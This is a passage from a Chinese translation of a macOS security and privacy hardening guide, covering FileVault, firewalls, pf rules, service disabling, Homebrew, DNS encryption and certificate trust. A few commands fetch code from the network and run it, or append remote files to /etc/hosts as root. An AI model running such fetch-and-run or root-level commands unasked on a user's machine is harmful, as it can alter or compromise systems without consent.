41–42]，例如，为每天基本的工作建立一个单独的账号，使用管理员账号仅为了安装软件和配置系统。\n\n每一次都通过 macOS 登录界面进入管理员帐号并不是必须的。系统会在需要认证许可的时候弹出提示框，之后交给终端就行了。为了达到这个目的，Apple 为隐藏管理员账户和它的根目录提供了一些[建议](https://support.apple.com/HT203998)。这对避免显示一个可见的 `影子` 账户来说是一个好办法。管理员账户也能[从 FileVault 里移除](http://apple.stackexchange.com/a/94373)。\n\n#### 错误警告\n\n1. 只有管理员账户才能把应用程序安装在 `/Applications` 路径下 （本地目录）。Finder 和安装程序将为普通用户弹出一个许可对话框。然而，许多应用程序都能安装在 `~/Applications` （该目录能被手动创建） 路径下。经验之谈： 那些不需要管理员权限的应用程序 — 或者在不在 `/Applications` 目录下都没关系的应用程序 — 都应该安装在用户目录内，其它的应安装在本地目录。Mac App Store 上的应用程序仍然会安装在 `/Applications` 并且不需要额外的管理员认证。\n\n2. `sudo` 无法在普通用户的 shell 内使用，它需要使用 `su` 或者 `login` 在 shell 内输入一个管理员账户。这需要很多技巧和一些命令行界面操作的经验。\n\n3. 系统配置和一些系统工具 （比如 Wi-Fi 诊断器） 为了所有的功能都能执行，它会需要 root 权限。在系统配置界面中的一些面板都是上锁的，所以需要单独的解锁按钮。一些应用程序在打开的时候会提示认证对话框，其它一些则需要通过一个管理员账号直接打开才能获得全部功能的权限。（例如 Console）\n\n4. 有些第三方应用程序无法正确运行，因为它们假设当前的用户是管理员账户。这些程序只能在登录管理员账户的情况下才能被执行，或者使用 `open` 工具。\n\n#### 设置\n\n账户能在系统设置中创建和管理。在一个已经建立的系统中，通常很容易就能创建第二个管理员账号并且把之前的管理员帐号降级。这就避免了数据迁移的问题。新安装的系统都能增加普通账号。对一个账号降级能通过新建立的管理员帐号中的系统设置 — 当然那个管理员账号必须已经注销 — 或者执行这些命令（这两个指令可能没有必要都执行，可以参考[issue #179](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/179)）:\n\n```\n$ sudo dscl . -delete /Groups/admin GroupMembership <username>\n\n$ sudo dscl . -delete /Groups/admin GroupMembers <GeneratedUID>\n```\n\n通过以下指令，你就能发现你账号的 “GeneratedUID”:\n\n```\n$ dscl . -read /Users/<username> GeneratedUID\n```\n\n也可以参考[这篇文章](https://superuser.com/a/395738)，它能带给你有关更多 macOS 是如何确定组成员的内容。\n\n## 对整个磁盘进行数据加密\n\n[FileVault](https://en.wikipedia.org/wiki/FileVault) 提供了在 macOS 上对整个磁盘加密的能力（技术上来说，是**整个卷宗**。）\n\nFileVault 加密将在休眠的时候保护数据，并且阻止其它人通过物理访问形式偷取数据或者使用你的 Mac 修改数据。\n\n因为大部分的加密操作都[高效地运作在硬件上](https://software.intel.com/en-us/articles/intel-advanced-encryption-standard-aes-instructions-set/)，性能上的损失对 FireVault 来说并不凸显。\n\nFileVault 的安全性依赖于伪随机数生成器 (PRNG)。\n\n> 这个随机设备实现了 Yarrow 伪随机数生成器算法并且维护着它自己的熵池。额外的熵值通常由守护进程 SecurityServer 提供，它由内核测算得到的随机抖动决定。\n\n> SecurityServer 也常常负责定期保存一些熵值到磁盘，并且在启动的时候重新加载它们，把这些熵值提供给早期的系统使用。\n\n参考 `man 4 random` 获得更多信息。\n\n在开启 FileVault 之前，PRNG 也能通过写入 /dev/random 文件手动提供熵的种子。也就是说，在激活 FileVault 之前，我们能用这种方式撑一段时间。\n\n在启用 FileVault **之前**，手动配置种子熵:\n\n    $ cat > /dev/random\n    [Type random letters for a long while, then press Control-D]\n\n通过 `sudo fdsetup enable` 启用 FileVault 或者通过 **System Preferences** > **Security & Privacy** 之后重启电脑。\n\n如果你能记住你的密码，那就没有理由不保存一个**还原秘钥**。然而，如果你忘记了密码或者还原秘钥，那意味着你加密的数据将永久丢失了。\n\n如果你想深入了解 FileVault 是如何工作得， 可以参考这篇论文 [Infiltrate the Vault: Security Analysis and Decryption of Lion Full Disk Encryption](https://eprint.iacr.org/2012/374.pdf) (pdf) 和这篇相关的[演讲文稿](http://www.cl.cam.ac.uk/~osc22/docs/slides_fv2_ifip_2013.pdf) (pdf)。也可以参阅 [IEEE Std 1619-2007 “The XTS-AES Tweakable Block Cipher”](http://libeccio.di.unisa.it/Crypto14/Lab/p1619.pdf) (pdf).\n\n你可能希望强制开启**休眠**并且从内存中删除 FileVault 的秘钥，而非一般情况下系统休眠对内存操作的处理方式:\n\n    $ sudo pmset -a destroyfvkeyonstandby 1\n    $ sudo pmset -a hibernatemode 25\n\n> 所有计算机都有 EFI 或 BIOS 这类的固件，它们帮助发现其它硬件，最终使用所需的操作系统实例把计算机正确启动起来。以 Apple 硬件和 EFI 的使用来说，Apple 把有关的信息保存在 EFI 内，它辅助 macOS 的功能正确运行。举例来说，FileVault 的秘钥保存在 EFI 内，在待机模式的时候出现。\n\n> 那些容易被高频攻击的部件，或者那些待机模式下，容易被暴露给所有设备访问的设备，它们都应该销毁在固件中的 FileVault 秘钥来减少这个风险。这么干并不会影响 FileVault 的正常使用，但是系统需要用户在每次跳出待机模式的时候输入这个密码。\n\n如果你选择在待机模式下删除 FileVault 秘钥，你也应该修改待机模式的设置。否则，你的机器可能无法正常进入待机模式，会因为缺少 FileVault 秘钥而关机。参考 [issue #124](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/124) 获得更多信息。可以通过以下命令修改这些设置:\n\n    $ sudo pmset -a powernap 0\n    $ sudo pmset -a standby 0\n    $ sudo pmset -a standbydelay 0\n    $ sudo pmset -a autopoweroff 0\n\n如果你想了解更多， 请参考 [Best Practices for Deploying FileVault 2](http://training.apple.com/pdf/WP_FileVault2.pdf) (pdf) 和这篇论文 [Lest We Remember: Cold Boot Attacks on Encryption Keys](https://www.usenix.org/legacy/event/sec08/tech/full_papers/halderman/halderman.pdf) (pdf)\n\n\n## 防火墙\n\n在准备连接进入互联网之前，最好是先配置一个防火墙。\n\n在 macOS 上有好几种防火墙。\n\n#### 应用程序层的防火墙\n\n系统自带的那个基本的防火墙，它只阻止**对内**的连接。\n\n注意，这个防火墙没有监控的能力，也没有阻止**对外**连接的能力。\n\n它能在 **System Preferences** 中 **Security & Privacy** 标签中的 **Firewall** 控制，或者使用以下的命令。\n\n开启防火墙:\n\n    $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on\n\n开启日志:\n\n    $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setloggingmode on\n\n你可能还想开启私密模式:\n\n    $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on\n\n> 计算机黑客会扫描网络，所以它们能标记计算机并且实施网络攻击。你能使用**私密模式**，避免你的计算机响应一些这样的恶意扫描。当开启了防火墙的私密模式后，你的计算机就不会响应 ICMP 请求，并且不响应那些已关闭的 TCP 或 UDP 端口的连接。这会让那些网络攻击者们很难发现你的计算机。\n\n最后，你可能会想阻止**系统自带的软件**和**经过代码签名，下载过的软件自动加入白名单:**\n\n    $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsigned off\n\n    $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsignedapp off\n\n> 那些经过一个认证签名的应用程序会自动允许加入列表，而不是提示用户再对它们进行认证。包含在 OS X 内的应用程序都被 Apple 代码签名，并且都允许接对内的连接，当这个配置开启了。举例来说，因为 iTunes 已经被 Apple 代码签名，所以它能自动允许防火墙接收对内的连接。\n\n> 如果你执行一个未签名的应用程序，它也没有被纳入防火墙白名单，此时一个带允许或者拒绝该连接选项的对话框会出现。如果你选择“允许连接”，macOS 对这个应用程序签名并且自动把它增加进防火墙的白名单。如果你选择“拒绝连接”，macOS 也会把它加入名单中，但是会拒绝对这个应用程序的对内连接。\n\n在使用完 `socketfilterfw` 之后，你需要重新启动（或者结束）这个进程:\n\n    $ sudo pkill -HUP socketfilterfw\n\n#### 第三方防火墙\n\n例如 [Little Snitch](https://www.obdev.at/products/littlesnitch/index.html), [Hands Off](https://www.oneperiodic.com/products/handsoff/), [Radio Silence](http://radiosilenceapp.com/) 和 [Security Growler](https://pirate.github.io/security-growler/) 这样的程序都提供了一个方便、易用且安全的防火墙。\n\n<img width=\"349\" alt=\"Example of Little Snitch monitored session\" src=\"https://cloud.githubusercontent.com/assets/12475110/10596588/c0eed3c0-76b3-11e5-95b8-9ce7d51b3d82.png\">\n\n**以下是一段 Little Snitch 监控会话的例子**\n\n```\nLittleSnitch-3.7.1.dmg\nSHA-256: e6332ee70385f459d9803b0a582d5344bb9dab28bcd56e247ae69866cc321802\nSHA-1:   d5d602c0f76cd73051792dff0ac334bbdc66ae32\n```\n\n这些程序都具备有监控和阻拦**对内**和**对外**网络连接的能力。然而，它们可能会需要使用一个闭源的[内核扩展](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/KernelProgramming/Extend/Extend.html)。\n\n如果过多的允许或者阻拦网络连接的选择让你不堪重负，使用配置过白名单的**静谧模式**，之后定期检查你设定项，来了解这么多应用程序都在干什么。\n\n需要指出的是，这些防火墙都会被以 **root** 权限运行的程序绕过，或者通过 [OS vulnerabilities](https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf) (pdf)，但是它们还是值得拥有的 — 只是不要期待完全的保护。然而，一些恶意软件实际上能[自我删除](https://www.cnet.com/how-to/how-to-remove-the-flashback-malware-from-os-x/)，如果发现 `Little Snitch` 或者其他一些安全软件已经安装，它就根本不启动。\n\n若想了解更多有关 Little Snitch 是如何工作的，可参考以下两篇文章：[Network Kernel Extensions Programming Guide](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/socket_nke/socket_nke.html#//apple_ref/doc/uid/TP40001858-CH228-SW1) 和 [Shut up snitch! – reverse engineering and exploiting a critical Little Snitch vulnerability](https://reverse.put.as/2016/07/22/shut-up-snitch-reverse-engineering-and-exploiting-a-critical-little-snitch-vulnerability/).\n\n#### 内核级的数据包过滤\n\n有一个高度可定制化、功能强大，但的确也是最复杂的防火墙存在内核中。它能通过 `pfctl` 或者很多配置文件控制。\n\npf 也能通过一个 GUI 应用程序控制，例如 [IceFloor](http://www.hanynet.com/icefloor/) 或者 [Murus](http://www.murusfirewall.com/)。\n\n有很多书和文章介绍 pf 防火墙。这里，我们只介绍一个有关通过 IP 地址阻拦访问的例子。\n\n将以下内容增加到 `pf.rules` 文件中:\n\n```\nset block-policy drop\nset fingerprints \"/etc/pf.os\"\nset ruleset-optimization basic\nset skip on lo0\nscrub in all no-df\ntable <blocklist> persist\nblock in log\nblock in log quick from no-route to any\npass out proto tcp from any to any keep state\npass out proto udp from any to any keep state\nblock log on en0 from {<blocklist>} to any\n```\n\n使用以下命令:\n\n* `sudo pfctl -e -f pf.rules` — 开启防火墙\n* `sudo pfctl -d` — 禁用防火墙\n* `sudo pfctl -t blocklist -T add 1.2.3.4` — 把某个主机加入阻止清单中\n* `sudo pfctl -t blocklist -T show` — 查看阻止清单\n* `sudo ifconfig pflog0 create` — 为某个接口创建日志\n* `sudo tcpdump -ni pflog0` — 输出打印数据包\n\n我不建议你花大量时间在如何配置 pf 上，除非你对数据包过滤器非常熟悉。比如说，如果你的 Mac 计算机连接在一个 [NAT](https://www.grc.com/nat/nat.htm) 后面，它存在于一个安全的家庭网络中，那以上操作是完全没有必要的。\n\n可以参考 [fix-macosx/net-monitor](https://github.com/fix-macosx/net-monitor) 来了解如何使用 pf 监控用户和系统级别对“背景连接通讯\"的使用。\n\n## 系统服务\n\n在你连接到互联网之前，你不妨禁用一些系统服务，它们会使用一些资源或者后台连接通讯到 Apple。\n\n可参考这三个代码仓库获得更多建议，[fix-macosx/yosemite-phone-home](https://github.com/fix-macosx/yosemite-phone-home), [l1k/osxparanoia](https://github.com/l1k/osxparanoia) 和 [karek314/macOS-home-call-drop](https://github.com/karek314/macOS-home-call-drop)。\n\n在 macOS 上的系统服务都由 **launchd** 管理。可参考 [launchd.info](http://launchd.info/)，也可以参考以下两个材料，[Apple's Daemons and Services Programming Guide](https://developer.apple.com/library/mac/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html) 和 [Technical Note TN2083](https://developer.apple.com/library/mac/technotes/tn2083/_index.html)。\n\n你也可以运行 [KnockKnock](https://github.com/synack/knockknock)，它能展示出更多有关启动项的内容。\n\n* 使用 `launchctl list` 查看正在运行的用户代理\n* 使用 `sudo launchctl list` 查看正在运行的系统守护进程\n* 通过指定服务名称查看，例如，`launchctl list com.apple.Maps.mapspushd`\n* 使用 `defaults read` 来检查在 `/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents` 工作中的 plist\n* 使用 `man`，`strings` 和 Google 来学习运行中的代理和守护进程是什么\n\n举例来说，想要知道某个系统启动的守护进程或者代理干了什么，可以输入以下指令:\n\n    $ defaults read /System/Library/LaunchDaemons/com.apple.apsd.plist\n\n看一看 `Program` 或者 `ProgramArguments` 这两个部分的内容，你就知道哪个二进制文件在运行，此处是 `apsd`。可以通过 `man apsd` 查看更多有关它的信息。\n\n再举一个例子，如果你对 `Apple Push Nofitications` 不感兴趣，可以禁止这个服务:\n\n    $ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.apsd.plist\n\n**注意** 卸载某些服务可能造成某些应用程序无法使用。首先，请阅读手册或者使用 Google 检索确保你明白自己在干什么。\n\n禁用那些你不理解的系统进程的时候一定要万分小心，因为它可能会让你的系统瘫痪无法启动。如果你弄坏了你的 Mac，可以使用[单一用户模式](https://support.apple.com/en-us/HT201573)来修复。\n\n如果你觉得 Mac 持续升温，感觉卡顿或者常常表现出诡异的行为，可以使用 [Console](https://en.wikipedia.org/wiki/Console_(OS_X)) 和 [Activity Monitor](https://support.apple.com/en-us/HT201464) 这两个应用程序，因为这可能是你不小心操作造成的。\n\n以下指令可以查看现在已经禁用的服务:\n\n    $ find /var/db/com.apple.xpc.launchd/ -type f -print -exec defaults read {} \\; 2>/dev/null\n\n有详细注释的启动系统守护进程和代理的列表，各自运行的程序和程序的哈希校验值都包含在这个代码仓库中了。\n\n**（可选项）** 运行 `read_launch_plists.py` 脚本，使用 `diff` 输出和你系统对比后产生的差异，例如:\n\n    $ diff <(python read_launch_plists.py) <(cat 16A323_launchd.csv)\n\n你可以参考这篇 [cirrusj.github.io/Yosemite-Stop-Launch](http://cirrusj.github.io/Yosemite-Stop-Launch/)，它对具体服务进行了一些解释， 也可以看看这篇 [Provisioning OS X and Disabling Unnecessary Services](https://vilimpoc.org/blog/2014/01/15/provisioning-os-x-and-disabling-unnecessary-services/)，这篇是其它一些解释。\n\n## Spotlight 建议\n\n在 Spotlight 偏好设置面板和 Safari 的搜索偏好设置中都禁用 **Spotlight 建议**，来避免你的搜索查询项会发送给 Apple。\n\n在 Spotlight 偏好设置面板中也禁用**必应 Web 搜索**来避免你的搜索查询项会发送给 Microsoft。\n\n查看 [fix-macosx.com](https://fix-macosx.com/) 获得更详细的信息。\n\n> 如果你已经更新到 Mac OS X Yosemite(10.10)并且在用默认的设置，每一次你开始在 Spotlight （去打开一个应用或在你的电脑中搜索一个文件）中打字，你本地的搜索词和位置会被发送给 Apple 和第三方（包括 Microsoft ）。\n\n **注意** 这个网站和它的指导说明已不再适用于 macOS Sierra — 参考[issue 164](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/164).\n\n下载，查看并应用他们建议的补丁：\n\n```\n$ curl -O https://fix-macosx.com/fix-macosx.py\n\n$ less fix-macosx.py\n\n$ python fix-macosx.py\nAll done. Make sure to log out (and back in) for the changes to take effect.\n```\n\n谈到 Microsoft，你可能还想看看 <https://fix10.isleaked.com/>，挺有意思的。\n\n## Homebrew\n\n考虑使用 [Homebrew](http://brew.sh/) 来安装软件和更新用户工具（查看 [Apple’s great GPL purge](http://meta.ath0.com/2012/02/05/apples-great-gpl-purge/)），这样更简单些。\n**注意**如果你还没安装 Xcode 或命令行工具，可以用 `xcode-select --install` 来从 Apple 下载、安装。\n\n要[安装 Homebrew](https://github.com/Homebrew/brew/blob/master/docs/Installation.md#installation):\n\n    $ mkdir homebrew && curl -L https://github.com/Homebrew/brew/tarball/master | tar xz --strip 1 -C homebrew\n\n\n在你的脚本或 rc 文件中编辑 `PATH` 来使用 `~/homebrew/bin` 和 `~/homebrew/sbin`。例如，先 `echo 'PATH=$PATH:~/homebrew/sbin:~/homebrew/bin' >> .zshrc`，然后用 `chsh -s /bin/zsh` 把登录脚本改为 Z shell，打开一个新的终端窗口并运行 `brew update`。\n\nHomebrew 使用 SSL/TLS 与 GitHub 通信并验证下载包的校验，所以它是[相当安全的](https://github.com/Homebrew/homebrew/issues/18036)。\n\n记得定期在可信任的、安全的网络上运行 `brew update` 和 `brew upgrade` 来下载、安装软件更新。想在安装前得到关于一个包的信息，运行 `brew info <package>` 在线查看。\n\n依据 [Homebrew 匿名汇总用户行为分析](https://github.com/Homebrew/brew/blob/master/docs/Analytics.md)，Homebrew 获取匿名的汇总的用户行为分析数据并把它们报告给 Google Analytics。\n\n你可以在你的（shell）环境或 rc 文件中设置 `export HOMEBREW_NO_ANALYTICS=1`，或使用 `brew analytics off` 来退出 Homebrew 的分析。\n\n可能你还希望启用[额外的安全选项](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/138)，例如 `HOMEBREW_NO_INSECURE_REDIRECT=1` 和 `HOMEBREW_CASK_OPTS=--require-sha`。\n\n## DNS\n\n#### Hosts 文件\n\n使用 [Hosts 文件](https://en.wikipedia.org/wiki/Hosts_(file)) 来屏蔽蔽已知的恶意软件、广告或那些不想访问的域名。\n\n用 root 用户编辑 hosts 文件，例如用 `sudo vi /etc/hosts`。hosts 文件也能用可视化的应用 [2ndalpha/gasmask](https://github.com/2ndalpha/gasmask) 管理。\n\n要屏蔽一个域名，在 `/etc/hosts` 中加上 `0 example.com` 或 `0.0.0.0 example.com` 或 `127.0.0.1 example.com`。\n\n网上有很多可用的域名列表，你可以直接复制过来，要确保每一行以 `0`, `0.0.0.0`, `127.0.0.1` 开始，并且 `127.0.0.1 localhost` 这一行包含在内。\n\n对于这些主机列表，可以查看 [someonewhocares.org](http://someonewhocares.org/hosts/zero/hosts)、[l1k/osxparanoia/blob/master/hosts](https://github.com/l1k/osxparanoia/blob/master/hosts)、[StevenBlack/hosts](https://github.com/StevenBlack/hosts) 和 [gorhill/uMatrix/hosts-files.json](https://github.com/gorhill/uMatrix/blob/master/assets/umatrix/hosts-files.json)。\n\n要添加一个新的列表：\n\n```\n$ curl \"https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts\" | sudo tee -a /etc/hosts\n\n$ wc -l /etc/hosts\n31998\n\n$ egrep -ve \"^#|^255.255.255|^0.0.0.0|^127.0.0.0|^0 \" /etc/hosts\n::1 localhost\nfe80::1%lo0 localhost\n[should not return any other IP addresses]\n```\n\n更多信息请查看 `man hosts` 和 [FreeBSD 配置文件](https://www.freebsd.org/doc/handbook/configtuning-configfiles.html)。\n\n#### Dnsmasq\n\n与其他特性相比，[dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html) 能缓存请求，避免无资格名单中的查询数据上传和屏蔽所有的顶级域名。\n\n另外，和 DNSCrypt 一起使用来加密输出的 DNS 流量。\n\n如果你不想使用 DNSCrypt，再怎么滴也不要用 [ISP](http://hackercodex.com/guide/how-to-stop-isp-dns-server-hijacking) [提供](http://bcn.boulder.co.us/~neal/ietf/verisign-abuse.html) 的 DNS。两个流行的选择是 [Google DNS](https://developers.google.com/speed/public-dns/) 和 [OpenDNS](https://www.opendns.com/home-internet-security/)。\n\n**(可选)** [DNSSEC](https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions) 是一系列 DNS 的扩展，为 DNS 客户端提供 DNS 数据的来源验证、否定存在验证和数据完整性检验。所有来自 DNSSEC 保护区域的应答都是数字签名的。签名的记录通过一个信任链授权，以一系列验证过的 DNS 根区域的公钥开头。当前的根区域信任锚点可能下载下来[从 IANA 网站](https://www.iana.org/dnssec/files)。关于 DNSSEC 有很多的资源，可能最好的一个是 [dnssec.net 网站](http://www.dnssec.net)。\n\n安装 Dnsmasq (DNSSEC 是可选的)：\n\n    $ brew install dnsmasq --with-dnssec\n\n    $ cp ~/homebrew/opt/dnsmasq/dnsmasq.conf.example ~/homebrew/etc/dnsmasq.conf\n\n\n编辑配置项：\n\n    $ vim ~/homebrew/etc/dnsmasq.conf\n\n检查所有的选项。这有一些推荐启用的设置：\n\n```\n# Forward queries to DNSCrypt on localhost port 5355\nserver=127.0.0.1#5355\n\n# Uncomment to forward queries to Google Public DNS\n#server=8.8.8.8\n\n# Never forward plain names\ndomain-needed\n\n# Examples of blocking TLDs or subdomains\naddress=/.onion/0.0.0.0\naddress=/.local/0.0.0.0\naddress=/.mycoolnetwork/0.0.0.0\naddress=/.facebook.com/0.0.0.0\n\n# Never forward addresses in the non-routed address spaces\nbogus-priv\n\n# Reject private addresses from upstream nameservers\nstop-dns-rebind\n\n# Query servers in order\nstrict-order\n\n# Set the size of the cache\n# The default is to keep 150 hostnames\ncache-size=8192\n\n# Optional logging directives\nlog-async\nlog-dhcp\nlog-facility=/var/log/dnsmasq.log\n\n# Uncomment to log all queries\n#log-queries\n\n# Uncomment to enable DNSSEC\n#dnssec\n#trust-anchor=.,19036,8,2,49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5\n#dnssec-check-unsigned\n```\n\n安装并启动程序（`sudo` 需要绑定在 [53 特权端口](https://unix.stackexchange.com/questions/16564/why-are-the-first-1024-ports-restricted-to-the-root-user-only)）：\n\n    $ sudo brew services start dnsmasq\n\n要设置 Dnsmasq 为本地的 DNS 服务器，打开**系统偏好设置** > **网络**并选择“高级”（译者注：原文为 ‘active interface’，实际上‘高级’），接着切换到 **DNS** 选项卡，选择 **+** 并 添加 `127.0.0.1`, 或使用：\n\n    $ sudo networksetup -setdnsservers \"Wi-Fi\" 127.0.0.1\n\n确保 Dnsmasq 正确配置：\n\n```\n$ scutil --dns\nDNS configuration\n\nresolver #1\n  search domain[0] : whatever\n  nameserver[0] : 127.0.0.1\n  flags    : Request A records, Request AAAA records\n  reach    : Reachable, Local Address, Directly Reachable Address\n\n$ networksetup -getdnsservers \"Wi-Fi\"\n127.0.0.1\n```\n\n**注意** 一些 VPN 软件一链接会覆盖 DNS 设置。更多信息查看 [issue #24](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/24)。\n\n#### 检测 DNSSEC 验证\n\n测试已签名区域的 DNSSEC（域名系统安全扩展协议）验证是否成功：\n\n    $ dig +dnssec icann.org\n\n应答应该有`NOERROR`状态并包含`ad`。例如：\n\n    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47039\n    ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1\n\n不恰当签名的区域会导致检测 DNSSEC 验证的失败：\n\n    $ dig www.dnssec-failed.org\n\n应答应该包含`SERVFAIL`状态。例如：\n\n    ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 15190\n    ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n#### dnscrypt\n\n使用 [dnscrypt](https://dnscrypt.org/) 在可选的范围内加密 DNS 流量（译者注：原文为 ‘the provider of choice’）。\n\n如果你更喜欢一个 GUI 应用程序，看这里 [alterstep/dnscrypt-osxclient](https://github.com/alterstep/dnscrypt-osxclient)。\n\n从 Homebrew 安装 DNSCrypt：\n\n    $ brew install dnscrypt-proxy\n\n如果要和 Dnsmasq 一起使用，找到这个文件`homebrew.mxcl.dnscrypt-proxy.plist`\n\n```\n$ find ~/homebrew -name homebrew.mxcl.dnscrypt-proxy.plist\n/Users/drduh/homebrew/Cellar/dnscrypt-proxy/1.7.0/homebrew.mxcl.dnscrypt-proxy.plist\n```\n\n将下面一行编辑进去：\n\n    <string>--local-address=127.0.0.1:5355</string>\n\n接着写：\n\n    <string>/usr/local/opt/dnscrypt-proxy/sbin/dnscrypt-proxy</string>\n\n<img width=\"1015\" alt=\"dnscrypt\" src=\"https://cloud.githubusercontent.com/assets/12475110/19222914/8e6f853e-8e31-11e6-8dd6-27c33cbfaea5.png\">\n\n**添加一行本地地址来使用 DNScrypt，使用 53 以外的端口，比如 5355**\n\n用 Homebrew 也能实现上述过程，安装 `gnu-sed` 并使用` gsed` 命令行：\n\n    $ sudo gsed -i \"/sbin\\\\/dnscrypt-proxy<\\\\/string>/a<string>--local-address=127.0.0.1:5355<\\\\/string>\\n\" $(find ~/homebrew -name homebrew.mxcl.dnscrypt-proxy.plist)\n\n默认情况下，`resolvers-list` 将会指向 dnscrypt 版本特定的 resolvers 文件。当更新了 dnscrypt，这一版本将不再存在，若它存在，可能指向一个过期的文件。在 `/Library/LaunchDaemons/homebrew.mxcl.dnscrypt-proxy.plist` 中把 resolvers 文件改为 `/usr/local/share` 中的符号链接的版本，能解决上述问题：\n\n    <string>--resolvers-list=/usr/local/share/dnscrypt-proxy/dnscrypt-resolvers.csv</string>\n\n启用 DNSCrypt：\n\n    $ brew services start dnscrypt-proxy\n\n确保 DNSCrypt 在运行：\n\n```\n$ sudo lsof -Pni UDP:5355\nCOMMAND   PID   USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME\ndnscrypt-  83 nobody    7u  IPv4 0x1773f85ff9f8bbef      0t0  UDP 127.0.0.1:5355\n\n$ ps A | grep '[d]nscrypt'\n   83   ??  Ss     0:00.27 /Users/drduh/homebrew/opt/dnscrypt-proxy/sbin/dnscrypt-proxy --local-address=127.0.0.1:5355 --ephemeral-keys --resolvers-list=/Users/drduh/homebrew/opt/dnscrypt-proxy/share/dnscrypt-proxy/dnscrypt-resolvers.csv --resolver-name=dnscrypt.eu-dk --user=nobody\n```\n\n> 默认情况下，dnscrypt-proxy 运行在本地 (127.0.0.1) ，53 端口，并且 \"nobody\" 身份使用dnscrypt.eu-dk DNSCrypt-enabled\nresolver。如果你想改变这些设置，你得编辑 plist 文件 (例如, --resolver-address, --provider-name, --provider-key, 等。)\n\n通过编辑 `homebrew.mxcl.dnscrypt-proxy.plist` 也能完成\n\n你能从一个信任的位置或使用 [public servers](https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv) 中的一个运行你自己的 [dnscrypt server](https://github.com/Cofyc/dnscrypt-wrapper)（也可以参考 [drduh/Debian-Privacy-Server-Guide#dnscrypt](https://github.com/drduh/Debian-Privacy-Server-Guide#dnscrypt)）\n\n确保输出的 DNS 流量已加密：\n\n```\n$ sudo tcpdump -qtni en0\nIP 10.8.8.8.59636 > 77.66.84.233.443: UDP, length 512\nIP 77.66.84.233.443 > 10.8.8.8.59636: UDP, length 368\n\n$ dig +short -x 77.66.84.233\nresolver2.dnscrypt.eu\n```\n\n你也可以阅读 [What is a DNS leak](https://dnsleaktest.com/what-is-a-dns-leak.html)，[mDNSResponder manual page](https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man8/mDNSResponder.8.html) 和 [ipv6-test.com](http://ipv6-test.com/)。\n\n## Captive portal\n\n当 macOS 连接到新的网络，它会**检测**网络，如果连接没有被接通，则会启动 Captive Portal assistant 功能。\n\n一个攻击者能触发这一功能，无需用户交互就将一台电脑定向到有恶意软件的网站，最好禁用这个功能并用你经常用的浏览器登录 captive portals， 前提是你必须首先禁用了任何的客户端 / 代理设置。\n\n    $ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control Active -bool false\n\n也可以看看 [Apple OS X Lion Security: Captive Portal Hijacking Attack](https://www.securestate.com/blog/2011/10/07/apple-os-x-lion-captive-portal-hijacking-attack)，[Apple's secret \"wispr\" request](http://blog.erratasec.com/2010/09/apples-secret-wispr-request.html)，[How to disable the captive portal window in Mac OS Lion](https://web.archive.org/web/20130407200745/http://www.divertednetworks.net/apple-captiveportal.html)，和 [An undocumented change to Captive Network Assistant settings in OS X 10.10 Yosemite](https://grpugh.wordpress.com/2014/10/29/an-undocumented-change-to-captive-network-assistant-settings-in-os-x-10-10-yosemite/)。\n\n## 证书授权\n\nmacOS 上有从像 Apple、Verisign、Thawte、Digicert 这样的营利性公司和来自中国、日本、荷兰、美国等等的政府机关安装的[超过 200](https://support.apple.com/en-us/HT202858) 个可信任的根证书。这些证书授权(CAs)能够针对任一域名处理 SSL/TLS 认证，代码签名证书等等。\n\n想要了解更多，可以看看 [Certification Authority Trust Tracker](https://github.com/kirei/catt)、[Analysis of the HTTPS certificate ecosystem](http://conferences.sigcomm.org/imc/2013/papers/imc257-durumericAemb.pdf)(pdf) 和 [You Won’t Be Needing These Any More: On Removing Unused Certificates From Trust Stores](http://www.ifca.ai/fc14/papers/fc14_submission_100.pdf)(pdf)。\n\n你可以在**钥匙串访问**中的**系统根证书**选项卡下检查系统根证书，或者使用 `security` 命令行工具和 `/System/Library/Keychains/SystemRootCertificates.keychain` 文件。\n\n你可以通过钥匙串访问将它们标记为**永不信任**禁用证书授权并关闭窗口：\n\n<img width=\"450\" alt=\"A certificate authority certificate\" src=\"https://cloud.githubusercontent.com/assets/12475110/19222972/6b7aabac-8e32-11e6-8efe-5d3219575a98.png\">\n\n被你的系统信任的被迫或妥协的证书授权产生一个假的 / 欺骗的 SSL 证书，这样的一个[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)的风险很低，但仍然是[可能的](https://en.wikipedia.org/wiki/DigiNotar#Issuance_of_fraudulent_certificates)。\n\n## OpenSSL\n\n在 Sierra 中 OpenSSL 的版本是`0.9.8zh`，这[不是最新的](https://apple.stackexchange.com/questions/200582/why-is-apple-using-an-older-version-of-openssl)。它不支持 TLS 1.1 或新的版本，elliptic curve 